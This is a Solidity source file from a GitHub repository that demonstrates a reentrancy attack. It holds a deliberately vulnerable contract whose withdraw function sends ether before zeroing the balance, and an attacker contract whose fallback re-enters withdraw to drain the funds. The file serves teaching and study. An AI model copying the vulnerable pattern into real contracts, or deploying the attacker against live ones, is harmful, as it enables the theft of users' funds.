generated from andreitoma8/HardHat-TypeScript-Template
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathReentrancy.sol
47 lines (39 loc) · 1.31 KB
/
Reentrancy.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ReentrancyVulnerable {
// Mapping of ether shares of the contract.
mapping(address => uint256) shares;
// Vulnerable to reentrancy attack, because it calls an external contract before implementing the effects of the function.
function withdraw() public {
(bool success,) = msg.sender.call{value: shares[msg.sender]}("");
if (success) {
shares[msg.sender] = 0;
}
}
function deposit() public payable {
shares[msg.sender] += msg.value;
}
}
contract ReentrancyAttacker {
ReentrancyVulnerable vulnerable;
address owner;
constructor(ReentrancyVulnerable _vulnerable) {
vulnerable = _vulnerable;
owner = msg.sender;
}
// Reentrancy attack.
function attack() public payable {
vulnerable.deposit{value: msg.value}();
vulnerable.withdraw();
(bool sc,) = owner.call{value: address(this).balance}("");
require(sc);
}
// Fallback function to receive funds.
fallback() external payable {
// When receiving funds, the vulnerable contract is called again
// until the attacker contract runs out funds
if (address(vulnerable).balance >= msg.value) {
vulnerable.withdraw();
}
}
}